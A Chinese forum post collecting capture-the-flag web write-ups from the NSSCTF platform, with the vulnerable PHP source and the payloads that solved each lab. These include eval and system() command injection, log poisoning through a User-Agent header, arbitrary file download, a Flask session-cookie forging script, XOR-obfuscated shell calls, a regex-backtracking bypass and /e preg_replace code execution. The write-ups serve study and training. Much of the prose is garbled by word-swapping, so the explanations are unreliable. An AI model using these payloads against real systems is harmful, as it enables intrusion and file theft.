nss刷题3

[复制链接]
发表于 2025-11-6 17:46:32 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
[SWPUCTF 2022 新生赛]webdog1__start

level1:
打开环境后什么也,没有,检察源码,看到第一关是MD5值,要get传参web,然后web的值的MD5和它原来值相当,0e开头的字符在php中都是0,传入一个0e开头的值即可
payload:?web=0e215962017

 level2:
打开·打开页面后什么也没有,抓包发现hint,访问f14g.php

上面说不信托flag确着实这里,,检察源代码也没有什么

继续抓包,发现新的hint

level3
访问新的页面,得到一串代码
  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. if (isset($_GET['get'])){
  5.     $get=$_GET['get'];
  6.     if(!strstr($get," ")){
  7.         $get = str_ireplace("flag", " ", $get); //过滤了flag和空格
  8.         
  9.         if (strlen($get)>18){      //限制传参的字符长度最大为18
  10.             die("This is too long.");
  11.             }
  12.             
  13.             else{
  14.                 eval($get);
  15.           }
  16.     }else {
  17.         die("nonono");
  18.     }
  19. }
  20.    
  21. ?
复制代码
可以转接一下参数,就可以绕过长度限定
payload:?get=eval($_GET[1]);&1=system('tac f*');

得到上面说flag包罗在/flag文件内里,得到flag

[MoeCTF 2022]what are y0u uploading?

打开环境,是文件上传,先恣意上传一个文件看看,上面说只答应上传jpe,gif,png

那就不思量.htaccess范例的,由于固然可以传图片,但是不可以上传设置文件,因此图片马是不会被剖析的,实行修改文件范例(MIME),上传乐成,根据标题提示,修改

得到flag

[GKCTF 2021]easycms 

打开环境后是一个网站,标题的提示说是真的cms,背景扫描一下,有一个admin.php
弱口令,admin和12345大概damin/admin和demo/demo

登录进去以后就是背景的admin权限

然后内里有一个筹划主题,也就是你可以在内里筹划本身网站,右上角有本身可以导出的按钮

恣意填完以后就可以导出文件,复制文件链接,然后可以看到背面有一串base的字符,解码后就就能到文件下载的路径,然后可以看到这个路径是从/var不绝往下面的

base64解码

我们既然得到了下载文件的完备链接,那是不是意味着我们可以下载恣意我们知道名字的文件,实行一下,将原来的文件路径改为/flag,即node7.anna.nssctf.cn:23981/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=,然后访问,下载了一个文件,将它的后缀改为txt,可以得到文件内容

小结一下:level1:这道题我们先是发现了有背景网页;即index.php,level2:然后通过弱口令登录,拿到了背景的admin权限;level3:然后又在筹划中发现他的主题下载的时间会有完备的文件下载路径;level4:然后推测有大概存在恣意文件读取,然后得到的我们想要的文件。

总得来说,这个cms的背景登录是弱口令,尚有恣意文件下载的毛病。

[SWPUCTF 2022 新生赛]funny_php

打开就是,直接来吧
  1. <?php
  2.     session_start();
  3.     highlight_file(__FILE__);
  4.     if(isset($_GET['num'])){
  5.         if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
  6.             echo ":D";
  7.             $_SESSION['L1'] = 1;
  8.         }else{
  9.             echo ":C";
  10.         }
  11.     }
  12.     if(isset($_GET['str'])){
  13.         $str = preg_replace('/NSSCTF/',"",$_GET['str']);
  14.         if($str === "NSSCTF"){
  15.             echo "wow";
  16.             $_SESSION['L2'] = 1;
  17.         }else{
  18.             echo $str;
  19.         }
  20.     }
  21.     if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
  22.         if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
  23.             echo "Nice!";
  24.             if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
  25.                 if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
  26.                     echo "yoxi!";
  27.                     $_SESSION['L3'] = 1;
  28.                 }else{
  29.                     echo "X(";
  30.                 }
  31.             }
  32.         }else{
  33.             echo "G";
  34.             echo $_POST['md5_1']."\n".$_POST['md5_2'];
  35.         }
  36.     }
  37.     if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
  38.         include('flag.php');
  39.         echo $flag;
  40.     }
  41.    
  42. ?>
复制代码
 level1:要求我们get传参num,要求这个字符串的长度<3&>999999999,前面的意思是只有三个字符,但是它由于科学计数法现实上这个数是9*10的9次方,绕过
  1. if(isset($_GET['num'])){
  2.         if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
  3.             echo ":D";
  4.             $_SESSION['L1'] = 1;
  5.         }else{
  6.             echo ":C";
  7.         }
  8.     }
复制代码

level2: 上面要求get传参str。内容为NSSCTF,但是这里的正则匹配又会将NSSCTF过滤掉,换为空,可以双写绕过,即str=NSSNSSCTFCTF,绕过,无所谓序次,但是不能是NSSCTFNSSCTF,要不在一起才可以,是完备的NSSCTF两遍就可以
  1. if(isset($_GET['str'])){
  2.         $str = preg_replace('/NSSCTF/',"",$_GET['str']);
  3.         if($str === "NSSCTF"){
  4.             echo "wow";
  5.             $_SESSION['L2'] = 1;
  6.         }else{
  7.             echo $str;
  8.         }
  9.     }
复制代码

level3: 要求是md5_1和md5_2的字符差异,但是MD5值相当,找两个就可以有很多
payload:
  1. md5_1=s878926199a&md5_2=s155964671a
复制代码
  1. if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
  2.         if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
  3.             echo "Nice!";
  4.             if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
  5.                 if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
  6.                     echo "yoxi!";
  7.                     $_SESSION['L3'] = 1;
  8.                 }else{
  9.                     echo "X(";
  10.                 }
  11.             }
  12.         }else{
  13.             echo "G";
  14.             echo $_POST['md5_1']."\n".$_POST['md5_2'];
  15.         }
  16.     }
复制代码


[MoeCTF 2021]2048 

打开后是个游戏,先乱玩一下,方便找关键信息

源代码找一下


改大一点 ,有两种方法,第一种,修改分数为>50000的值,然后玩游戏让它本身竣事,第二种,直接传参,让分数大于50000,。

[NSSRound#1 Basic]basic_check 

打开环境个源代码什么也没有,扫描一下,dirsearch扫不出来,用nikto扫描可以知道可以用PUT协议

上传乐成,访问

[LitCTF 2023]Flag点击就送!

标题形貌
大型Flag赠送运动开始啦,不外只有管理员才气拿到
打开环境是一个验证框,问我们的名字,祟拜输入一个名字

告诉我们只有管理员才气拿flag

可以在cookie离开看到有session

解密一下是: 上面说name=1

可以伪造一下
脚本如下:
  1. #!/usr/bin/env python3
  2. """ Flask Session Cookie Decoder/Encoder """
  3. __author__ = 'Wilson Sumanang, Alexandre ZANNI'
  4. # standard imports
  5. import sys
  6. import zlib
  7. from itsdangerous import base64_decode
  8. import ast
  9. # Abstract Base Classes (PEP 3119)
  10. if sys.version_info[0] < 3:  # < 3.0
  11.     raise Exception('Must be using at least Python 3')
  12. elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
  13.     from abc import ABCMeta, abstractmethod
  14. else:  # > 3.4
  15.     from abc import ABC, abstractmethod
  16. # Lib for argument parsing
  17. import argparse
  18. # external Imports
  19. from flask.sessions import SecureCookieSessionInterface
  20. class MockApp(object):
  21.     def __init__(self, secret_key):
  22.         self.secret_key = secret_key
  23. if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
  24.     class FSCM(metaclass=ABCMeta):
  25.         def encode(secret_key, session_cookie_structure):
  26.             """ Encode a Flask session cookie """
  27.             try:
  28.                 app = MockApp(secret_key)
  29.                 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  30.                 si = SecureCookieSessionInterface()
  31.                 s = si.get_signing_serializer(app)
  32.                 return s.dumps(session_cookie_structure)
  33.             except Exception as e:
  34.                 return "[Encoding error] {}".format(e)
  35.                 raise e
  36.         def decode(session_cookie_value, secret_key=None):
  37.             """ Decode a Flask cookie  """
  38.             try:
  39.                 if (secret_key == None):
  40.                     compressed = False
  41.                     payload = session_cookie_value
  42.                     if payload.startswith('.'):
  43.                         compressed = True
  44.                         payload = payload[1:]
  45.                     data = payload.split(".")[0]
  46.                     data = base64_decode(data)
  47.                     if compressed:
  48.                         data = zlib.decompress(data)
  49.                     return data
  50.                 else:
  51.                     app = MockApp(secret_key)
  52.                     si = SecureCookieSessionInterface()
  53.                     s = si.get_signing_serializer(app)
  54.                     return s.loads(session_cookie_value)
  55.             except Exception as e:
  56.                 return "[Decoding error] {}".format(e)
  57.                 raise e
  58. else:  # > 3.4
  59.     class FSCM(ABC):
  60.         def encode(secret_key, session_cookie_structure):
  61.             """ Encode a Flask session cookie """
  62.             try:
  63.                 app = MockApp(secret_key)
  64.                 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
  65.                 si = SecureCookieSessionInterface()
  66.                 s = si.get_signing_serializer(app)
  67.                 return s.dumps(session_cookie_structure)
  68.             except Exception as e:
  69.                 return "[Encoding error] {}".format(e)
  70.                 raise e
  71.         def decode(session_cookie_value, secret_key=None):
  72.             """ Decode a Flask cookie  """
  73.             try:
  74.                 if (secret_key == None):
  75.                     compressed = False
  76.                     payload = session_cookie_value
  77.                     if payload.startswith('.'):
  78.                         compressed = True
  79.                         payload = payload[1:]
  80.                     data = payload.split(".")[0]
  81.                     data = base64_decode(data)
  82.                     if compressed:
  83.                         data = zlib.decompress(data)
  84.                     return data
  85.                 else:
  86.                     app = MockApp(secret_key)
  87.                     si = SecureCookieSessionInterface()
  88.                     s = si.get_signing_serializer(app)
  89.                     return s.loads(session_cookie_value)
  90.             except Exception as e:
  91.                 return "[Decoding error] {}".format(e)
  92.                 raise e
  93. if __name__ == "__main__":
  94.     # Args are only relevant for __main__ usage
  95.     ## Description for help
  96.     parser = argparse.ArgumentParser(
  97.         description='Flask Session Cookie Decoder/Encoder',
  98.         epilog="Author : Wilson Sumanang, Alexandre ZANNI")
  99.     ## prepare sub commands
  100.     subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
  101.     ## create the parser for the encode command
  102.     parser_encode = subparsers.add_parser('encode', help='encode')
  103.     parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
  104.                                help='Secret key', required=True)
  105.     parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
  106.                                help='Session cookie structure', required=True)
  107.     ## create the parser for the decode command
  108.     parser_decode = subparsers.add_parser('decode', help='decode')
  109.     parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
  110.                                help='Secret key', required=False)
  111.     parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
  112.                                help='Session cookie value', required=True)
  113.     ## get args
  114.     args = parser.parse_args()
  115.     ## find the option chosen
  116.     if (args.subcommand == 'encode'):
  117.         if (args.secret_key is not None and args.cookie_structure is not None):
  118.             print(FSCM.encode(args.secret_key, args.cookie_structure))
  119.     elif (args.subcommand == 'decode'):
  120.         if (args.secret_key is not None and args.cookie_value is not None):
  121.             print(FSCM.decode(args.cookie_value, args.secret_key))
  122.         elif (args.cookie_value is not None):
  123.             print(FSCM.decode(args.cookie_value))
复制代码
使用:中心的密钥不知道,是猜的,其他标题可以看标题处置惩罚
  1. 解密:python flask_session_cookie_manager3.py decode -s "LitCTF" -c "eyJuYW1lIjoiMSJ9.Zh966A.NxRd8ILBNVdX5EZWUDtMS0J7vrQ"
  2. 加密:python flask_session_cookie_manager3.py encode -s "LitCTF" -t '{"name":"admin"}'
复制代码

hackbar传一下 ,将原来的session改为我们想要的name改为admin即可

 [HNCTF 2022 WEEK2]easy_include

打开环境,上面过滤了很多字符
  1. <?php
  2. //WEB手要懂得搜索
  3. if(isset($_GET['file'])){
  4.     $file = $_GET['file'];
  5.     if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
  6.         die("error");
  7.     }
  8.     include($file);
  9. }else{
  10.     highlight_file(__FILE__);
复制代码
可以看到服务器使用的是ngnix,先实行一下看看有没有日志日志包罗的毛病

这个有个默认的日志日志路径是?file=/var/log/nginx/access.log,访问一下

然后抓包举行UA头注入 <?php system('ls /');?>

看到有一个雷同flag的,抓一下<?php system('cat /ffflllaaaggg');?> ,得到flag

 [SWPUCTF 2022 新生赛]funny_web

打开页面是一个登录框,上面说登录名是实行室名,不知道是啥,看一眼源码,有一个php页面

上面是主页的源码,

社工的题,不穷究了

 账号NSS
暗码2122693401,intval()函数,背面加小数点和字母就可以
  1. <?php
  2. error_reporting(0);
  3. header("Content-Type: text/html;charset=utf-8");
  4. highlight_file(__FILE__);
  5. include('flag.php');
  6. if (isset($_GET['num'])) {
  7.     $num = $_GET['num'];
  8.     if ($num != '12345') {
  9.         if (intval($num) == '12345') {
  10.             echo $FLAG;
  11.         }
  12.     } else {
  13.         echo "这为何相等又不相等";
  14.     }
  15. }
复制代码

 [NSSRound#8 Basic]MyDoor

打开环境,可以看到url栏上面有一个file=,实行读取主页面

 伪协议读取源码
 解码一下,上面的代码的逻辑是get传参N_S.S会实行eval函数,get传参file,要求url的头是/index.php?file=,正则匹配,给出答应的文件名
  1. <?php
  2. error_reporting(0);
  3. if (isset($_GET['N_S.S'])) {
  4.     eval($_GET['N_S.S']);
  5. }
  6. if(!isset($_GET['file'])) {
  7.     header('Location:/index.php?file=');
  8. } else {
  9.     $file = $_GET['file'];
  10.     if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
  11.         include $file;
  12.     } else {
  13.         die('error.');
  14.     }
  15. }
复制代码
 也就是说,要同时满足两个要求,一个是开头的文件名是file,然后就是要用N_S.S来实行下令,但是在rul传参的时间,要1修改一下变为N[S.S,否则背面的.就会酿成_,payload:/index.php?file=1&N[S.S=system(‘env’);,已经看了目次了,没有东西,一样平常这种环境下就是在环境变量内里了

[HUBUCTF 2022 新生赛]HowToGetShell(异或)

看一眼源码,
  1. <?php
  2. show_source(__FILE__);
  3. $mess=$_POST['mess'];
  4. if(preg_match("/[a-zA-Z]/",$mess)){
  5.     die("invalid input!");
  6. }
  7. eval($mess);
复制代码
有两种方法,但是都是异或
第一种就是直接用异或拼接下令函数的字母和背面的():
脚本:
  1. valid = "1234567890!@$%^*(){}[];\'",.<>/?-=_`~ "
  2. answer = str(input("请输入进行异或构造的字符串:"))
  3. tmp1, tmp2 = '', ''
  4. for c in answer:
  5.   for i in valid:
  6.     for j in valid:
  7.       if (ord(i) ^ ord(j) == ord(c)):
  8.         tmp1 += i
  9.         tmp2 += j
  10.         break
  11.     else:
  12.       continue
  13.     break
  14. print(tmp1,tmp2)
复制代码
payload:mess=$_="0302181"^"@[@[_^^";$_();   //在环境变量大概是根目次下有flag
可以看看原理:从一道CTF标题谈PHP中的下令实行-CSDN博客
第二种就是先用异或传一个get的木马再用get正常的rce
看链接:刷题条记[HUBUCTF 2022 新生赛]web_[hubuctf 2022 新生赛]howtogetshell-CSDN博客

 [MoeCTF 2022]ezphp(变量覆盖)

看看源码,这段代码的意思是要get和post都传参flag,但是两个flag都不能即是flag,但是可以只传此中的一个,包管此中含有flag,且
  1. <?php
  2. highlight_file('source.txt');
  3. echo "<br><br>";
  4. $flag = 'xxxxxxxx';
  5. $giveme = 'can can need flag!';
  6. $getout = 'No! flag.Try again. Come on!';
  7. if(!isset($_GET['flag']) && !isset($_POST['flag'])){   //假如传了,两个中都要有flag
  8.     exit($giveme);
  9. }
  10. if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //要求;两个的值都不为flag
  11.     exit($getout);
  12. }
  13. foreach ($_POST as $key => $value) { //创建$flag=它的值
  14.     $$key = $value;
  15. }
  16. foreach ($_GET as $key => $value) {    //如果存在$flag=xxx,创建$xxx=它的值,前提是$xxx=存在
  17.     $$key = $$value;
  18. }
  19. echo 'the flag is : ' . $flag;
  20. ?>
复制代码
先学习一下这个控制结构
  1. $array = [
  2.     'a' => 1,
  3.     'b' => 2,
  4.     'c' => 3
  5. ];
  6. foreach ($array as $key => $value) {
  7.     echo "Key: $key, Value: $value" . PHP_EOL;
  8. }
  9. 输出:
  10. Key: a, Value: 1
  11. Key: b, Value: 2
  12. Key: c, Value: 3
复制代码
两种方法:
第一种是:序次稳定,必须要先用另一个变量把flag的值储存起来,否则flag会被覆盖
payload:
  1. ?a=flag&flag=a
复制代码
第二种:超全局变量,由于先判断POST 再判断GET。用POST_GET更改GET,使第二个语句不收效。
  1. GET: ?flag=a
  2. POST: _GET=b    //(不是flag就可以)
复制代码
[MoeCTF 2021]Web安全入门指北—GET

最简朴的get传参

[NISACTF 2022]middlerce (正则匹配回溯绕过)

看看代码
  1. <?php
  2. include "check.php";
  3. if (isset($_REQUEST['letter'])){
  4.     $txw4ever = $_REQUEST['letter'];   //检查 $_REQUEST 数组中是否存在键 letter,如果存在,将其值赋给变量 $txw4ever。
  5.     if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
  6.         die("再加把油喔");    //正则表达式中的 \w 匹配字母、数字和下划线,其他字符如 ^、*、(、~、`、?、/、 、|、&、!、<、>、{、\x09(制表符)、\x0a(换行符)、[ 都被匹配。
  7.     }
  8.     else{
  9.         $command = json_decode($txw4ever,true)['cmd'];    //json解码变量里面的内容
  10.         checkdata($command);      //检查里面的数据
  11.         @eval($command);           //执行里面的内容
  12.     }  
  13. }
  14. else{
  15.     highlight_file(__FILE__);
  16. }
  17. ?>
复制代码
这里有脚本
  1. import requests
  2. payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
  3. res = requests.post("http://node4.anna.nssctf.cn:28790/", data={"letter":payload})
  4. print(res.text)
复制代码

[UUCTF 2022 新生赛]ez_upload 

文件上传的标题,先恣意上传一个看看,php范例不被答应,图片范例可以,再加上apach在剖析文件时,如果遇见非法的后缀,就会往左看,直到遇见合法的文件名,如下

 
 [FSCTF 2023]细狗2.0

标题形貌
行就是行,不可就是不可。RCE全不做是几个意思啊QAQ
打开后是一个输入框,还是rce,先试试ls

ls都不可,前面加个;闭合一下 ,给了两个,但是不像

看看根目次,应该是空格绕过,$IFS$9

 貌似是flag,抓一下payload:tac$IFS$9/f*
 得到flag


[SWPUCTF 2023 秋季新生赛]RCE-PLUS(无回显rce)

看看源码,过滤了很多,没事,关键的没有过滤,无回显就重写入
  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. function strCheck($cmd)
  5. {
  6.     if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
  7.         return($cmd);
  8.     }
  9.     else{
  10.         die("i hate this");      
  11.       }
  12. }
  13. $cmd=$_GET['cmd'];
  14. strCheck($cmd);
  15. shell_exec($cmd);
  16. ?>
复制代码
?cmd=ls | tee 1.txt

 ?cmd=ls / | tee 1.txt

 ?cmd=tac /f* | tee 1.txt 

[MoeCTF 2021]Do you know HTTP 

才来就叫我们更改哀求方式,来吧

将get传参改为HS

修改xff

修改UA头

[CISCN 2019初赛]Love Math 

看看源码
  1. <?php
  2. error_reporting(0);
  3. //听说你很喜欢数学,不知道你是否爱它胜过爱flag
  4. if(!isset($_GET['c'])){
  5.     show_source(__FILE__);
  6. }else{
  7.     //例子 c=20-1
  8.     $content = $_GET['c'];
  9.     if (strlen($content) >= 80) {
  10.         die("太长了不会算");
  11.     }
  12.     $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
  13.     foreach ($blacklist as $blackitem) {
  14.         if (preg_match('/' . $blackitem . '/m', $content)) {
  15.             die("请不要输入奇奇怪怪的字符");
  16.         }
  17.     }
  18.     //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
  19.     $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
  20.     preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
  21.     foreach ($used_funcs[0] as $func) {
  22.         if (!in_array($func, $whitelist)) {
  23.             die("请不要输入奇奇怪怪的函数");
  24.         }
  25.     }
  26.     //帮你算出答案
  27.     eval('echo '.$content.';');
  28. }
复制代码
暂缓

[FSCTF 2023]EZ_eval 

看看源码,其他的是正常的,紧张是它有一个?>会截断我的下令
  1. <?php
  2.     if(isset($_GET['word'])){
  3.     $word = $_GET['word'];
  4.     if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
  5.        die("nonono.");
  6.     }
  7.     $word = str_replace("?", "", $word); //将?替换为空
  8.     eval("?>". $word);
  9. }else{
  10.     highlight_file(__FILE__);
  11. }
复制代码
可以用php段标签绕过(有版本限定7.0以下),这里可以用script标签
word=<script%09language="php">passthru("ta\c%09/f*");

[BJDCTF 2020]ZJCTF,不外云云 

看看源码
  1. <?php
  2. error_reporting(0);
  3. $text = $_GET["text"];
  4. $file = $_GET["file"];
  5. if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ //规定包含的内容
  6.     echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
  7.     if(preg_match("/flag/",$file)){
  8.         die("Not now!");
  9.     }
  10.     include($file);  //next.php   //读取的文件
  11.    
  12. }
  13. else{
  14.     highlight_file(__FILE__);
  15. }
  16. ?>
复制代码
php伪协议:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

解码得到
  1. <?php
  2. $id = $_GET['id'];
  3. $_SESSION['id'] = $id;
  4. ​
  5. function complex($re, $str) {
  6.     return preg_replace(
  7.         '/(' . $re . ')/ei',
  8.         'strtolower("\\1")',    //正则匹配将内容转换为小写
  9.         $str
  10.     );
  11. }
  12. foreach($_GET as $re => $str) {
  13.     echo complex($re, $str). "\n";   //输出转换后的内容
  14. }
  15. function getFlag(){
  16.     @eval($_GET['cmd']);
  17. }
复制代码
两个要点,一个是要用到下面实行下令的函数,另一个是实行的下令
第一个:php会将传入的非法的参数名转成下滑线,正则匹配会失效,当非法字符为首字母时,只有点号会被更换成下划线,F是大写,须要绕过,然后就是谁人使用点
  1. \S*=${getflag()}
复制代码
接上下令 ,
  1. /next.php?\S*=${getflag()}&cmd=system('ls /');
复制代码

但是flag文件夹是空的

在环境变量内里

 
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表